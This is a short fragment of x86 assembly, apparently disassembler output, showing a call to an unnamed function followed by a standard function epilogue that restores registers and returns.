mov ecx, 0x10b78ba
sete dl
call fcn.1000e2f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret